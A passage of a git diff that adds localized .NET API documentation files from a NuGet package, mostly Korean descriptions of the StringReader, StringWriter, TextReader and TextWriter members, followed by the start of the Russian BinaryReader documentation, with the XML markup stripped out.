문자 수를 버퍼에 기록하기 전에 문자열의 끝에 도달하면 메서드가 반환됩니다. + + 가 null입니다. + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 문자열에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 현재 문자열의 다음 줄 또는 문자열의 끝에 도달한 경우 null입니다. + 현재 판독기가 닫힌 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 2 + + + 현재 문자열에서 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 문자열 판독기의 다음 줄을 포함하거나 모든 문자가 읽혀진 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치부터 문자열 끝까지의 모든 문자를 읽어서 이를 단일 문자열로 반환합니다. + 내부 문자열의 현재 위치에서 끝까지의 내용입니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 현재 판독기가 닫힌 경우 + 2 + + + 현재 위치부터 문자열 끝까지의 모든 문자를 비동기적으로 읽어서 이를 단일 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 문자열 끝까지의 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 정보를 문자열로 쓰기 위한 를 구현합니다.정보는 내부 에 저장됩니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정한 형식 제어를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 형식 지정을 제어하는 개체입니다. + + + 지정한 에 쓰는 클래스의 새 인스턴스를 초기화합니다. + 작성할 StringBuilder입니다. + + 가 null입니다. + + + 지정한 에 쓰고 지정한 서식 공급자를 갖는 클래스의 새 인스턴스를 초기화합니다. + 작성할 StringBuilder입니다. + 형식 지정을 제어하는 개체입니다. + + 가 null입니다. + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 출력이 쓰여질 을 가져옵니다. + 출력이 쓰여질 Encoding입니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 비동기적으로 지우면 버퍼링된 모든 데이터가 내부 장치에 쓰여집니다. + 비동기 플러시 작업을 나타내는 작업입니다. + + + 내부 를 반환합니다. + 내부 StringBuilder입니다. + 2 + + + 현재 StringWriter에 지금까지 쓰여진 문자가 포함된 문자열을 반환합니다. + 현재 StringWriter에 쓰여진 문자가 포함된 문자열입니다. + 2 + + + 문자를 문자열에 씁니다. + 쓸 문자입니다. + 작성기가 닫힌 경우 + 2 + + + 문자의 하위 배열을 문자열에 씁니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 또는 가 음수인 경우 + ( + )> 인 경우Length. + 작성기가 닫힌 경우 + 2 + + + 문자를 현재 문자열에 씁니다. + 쓸 문자열입니다. + 작성기가 닫힌 경우 + 2 + + + 문자를 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 문자열에 쓸 문자입니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열을 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자를 현재 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.가 null이면 텍스트 스트림에 아무 것도 쓰여지지 않습니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 문자열에 쓸 문자입니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 현재 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 쓰여집니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 여러 개의 문자를 순차적으로 읽을 수 있는 판독기를 나타냅니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 해당 개체에서 사용하는 리소스를 모두 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + TextReader에 읽을 데이터를 제공하지 않습니다. + 1 + + + 문자 소스나 판독기의 상태를 변경하지 않고 다음 문자를 읽습니다.판독기에서 실제로 읽지 않고 사용 가능한 다음 문자를 반환합니다. + 읽을 다음 문자를 나타내는 정수이거나, 사용할 수 있는 문자가 더 이상 없거나 판독기에서 검색을 지원하지 않을 경우 -1입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 텍스트 판독기에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + 텍스트 판독기의 다음 문자 또는 사용할 수 있는 문자가 더 이상 없는 경우 -1입니다.기본 구현된 경우에는 -1을 반환합니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 판독기에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 판독기 내에서 데이터를 사용할 수 있는지 여부에 따라 보다 작거나 같습니다.읽을 문자가 더 이상 없는 경우에 이 메서드를 호출하면 0이 반환됩니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 판독기의 끝에 도달하면 메서드가 반환됩니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 텍스트 판독기에서 지정된 최대 문자 수를 비동기적으로 읽어 이 데이터를 지정된 위치에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 텍스트의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 텍스트의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 텍스트 판독기에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 모든 입력 문자를 읽었는지 여부에 따라 보다 작거나 같습니다. + 이 메서드가 반환할 때 이 매개 변수에는 지정된 문자 배열의 값이 및 ( + -1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 들어 있습니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 텍스트 판독기에서 지정된 최대 문자 수를 비동기적으로 읽어 이 데이터를 지정된 위치에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 텍스트의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 텍스트의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 텍스트 판독기에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 판독기의 다음 줄이거나 모든 문자를 읽은 경우 null입니다. + I/O 오류가 발생하는 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + + 가 닫힌 경우 + 다음 줄의 문자 수가 보다 큰 경우 + 1 + + + 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 텍스트 판독기의 다음 줄을 포함하거나 모든 문자가 읽혀진 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 읽어서 단일 문자열로 반환합니다. + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 포함하는 문자열입니다. + I/O 오류가 발생하는 경우 + + 가 닫힌 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 다음 줄의 문자 수가 보다 큰 경우 + 1 + + + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 비동기적으로 읽어서 하나의 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 텍스트 판독기 끝까지의 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 일련의 문자를 연속하여 쓸 수 있는 작성기를 나타냅니다.이 클래스는 추상 클래스입니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 서식 공급자를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 서식 지정을 제어하는 개체입니다. + + + 이 TextWriter에 사용한 줄 바꿈 문자를 저장합니다. + + + 해당 개체에서 사용하는 리소스를 모두 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 파생 클래스에서 재정의된 경우 출력을 쓰는 문자 인코딩을 반환합니다. + 출력을 쓰는 문자 인코딩입니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 지우면 버퍼링된 모든 데이터를 내부 장치에 씁니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 비동기적으로 지우면 버퍼링된 모든 데이터를 내부 장치에 씁니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 작성기를 현재 사용하고 있습니다. + + + 서식 지정을 제어하는 개체를 가져옵니다. + 특정 문화권에 대한 개체이거나, 다른 문화권을 지정하지 않은 경우 현재 문화권의 서식입니다. + 2 + + + 현재 TextWriter에서 사용한 줄 종결자 문자열을 가져오거나 설정합니다. + 현재 TextWriter의 줄 종결자 문자열입니다. + 2 + + + 쓸 수는 있지만 읽을 수는 없는 백업 저장소를 TextWriter에 제공하지 않습니다. + 1 + + + Boolean 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 Boolean 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자 배열을 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자 배열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 하위 배열을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 매개 변수가 null인 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 10진수 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 10진수 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 8바이트 부동 소수점 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 8바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 4바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 8바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 개체에 대해 ToString 메서드를 호출하여 해당 개체의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 개체입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 4바이트 부동 소수점 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 4바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자열을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 문자열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 1입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 2입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + 서식을 지정하고 쓸 세 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 3입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체를 0개 이상 포함하는 개체 배열입니다. + + 또는 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나 배열의 길이보다 크거나 같습니다. + 1 + + + 부호 없는 4바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 없는 8바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자 배열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자 배열입니다.가 null이면 아무 것도 쓰지 않습니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.가 null이면 텍스트 스트림에 아무 것도 쓰지 않습니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 줄 종결자를 텍스트 문자열 또는 스트림에 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + Boolean 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 Boolean 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자와 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 데이터를 읽을 문자 배열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 하위 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 데이터를 읽을 문자 배열입니다. + 데이터 읽기를 시작하는 의 문자 위치입니다. + 쓸 최대 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 매개 변수가 null인 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 10진수 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 10진수 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 8바이트 부동 소수점 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 8바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 4바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 8바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 개체에 대해 ToString 메서드를 호출하여 해당 개체의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 개체입니다.가 null이면 줄 종결자만 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 4바이트 부동 소수점 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 4바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 문자열입니다.가 null이면 줄 종결자만 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 1입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 2입니다. + 1 + + + + 과 같은 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + 서식을 지정하고 쓸 세 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 3입니다. + 1 + + + + 과 같은 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체를 0개 이상 포함하는 개체 배열입니다. + 문자열이나 개체가 null로 전달되는 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나 배열의 길이보다 크거나 같습니다. + 1 + + + 부호 없는 4바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 없는 8바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 줄 종결자를 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자 배열입니다.문자 배열이 null이면 줄 종결자만 씁니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 씁니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/ru/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/ru/System.IO.xml new file mode 100644 index 0000000..c4d59b1 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/ru/System.IO.xml @@ -0,0 +1,2023 @@ + + + + System.IO + + + + Считывает примитивные типы данных как двоичные значения в заданной кодировке. + 2 + + + Инициализирует новый экземпляр класса на основании указанного потока с использованием кодировки UTF-8. + Входной поток. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + + + Инициализирует новый экземпляр класса на основе указанного потока и кодировки символов. + Входной поток. + Кодировка символов, которую нужно использовать. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса на основе указанного потока и кодировки символов, а также при необходимости оставляет поток открытым. + Входной поток. + Кодировка символов, которую нужно использовать. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + Параметр или имеет значение null. + + + Предоставляет доступ к базовому потоку объекта . + Базовый поток, связанный с объектом BinaryReader. + 2 + + + Освобождает все ресурсы, используемые текущим экземпляром класса . + + + Освобождает неуправляемые ресурсы, используемые классом (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Заполняет внутренний буфер указанным количеством байтов, которые были cчитаны из потока. + Количество байтов, чтение которых необходимо выполнить. + Конец потока достигнут раньше, чем было выполнено чтение байтов. + Ошибка ввода-вывода. + Запрошенное значение превышает размер внутреннего буфера. + + + Возвращает следующий доступный для чтения символ, не перемещая позицию байта или символа вперед. + Следующий доступный символ или значение -1, если в потоке больше нет символов, или поток не поддерживает поиск. + Ошибка ввода-вывода. + Текущий символ не может быт декодирован в буфер внутренних символов с помощью , выбранного для потока. + 2 + + + Выполняет чтение знаков из базового потока и перемещает текущую позицию в потоке вперед в соответствии с используемым значением Encoding и конкретным знаком в потоке, чтение которого выполняется в настоящий момент. + Следующий символ из входного потока или значение -1, если в настоящее время доступных символов нет. + Ошибка ввода-вывода. + Поток закрыт. + 2 + + + Считывает указанное количество байтов из потока, начиная с заданной точки в массиве байтов. + Количество байтов, считанных в .Количество символов может быть меньше указанного числа, если в потоке осталось меньше байтов, чем следует считать. Количество символов также может равняться нулю, если достигнут конец потока. + Буфер, в который должны считываться данные. + Стартовая точка в буфере, начиная с которой считываемые данные записываются в буфер. + Количество байтов, чтение которых необходимо выполнить. + Длина буфера за вычетом значения параметра меньше значения параметра . -или-Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Свойство имеет значение 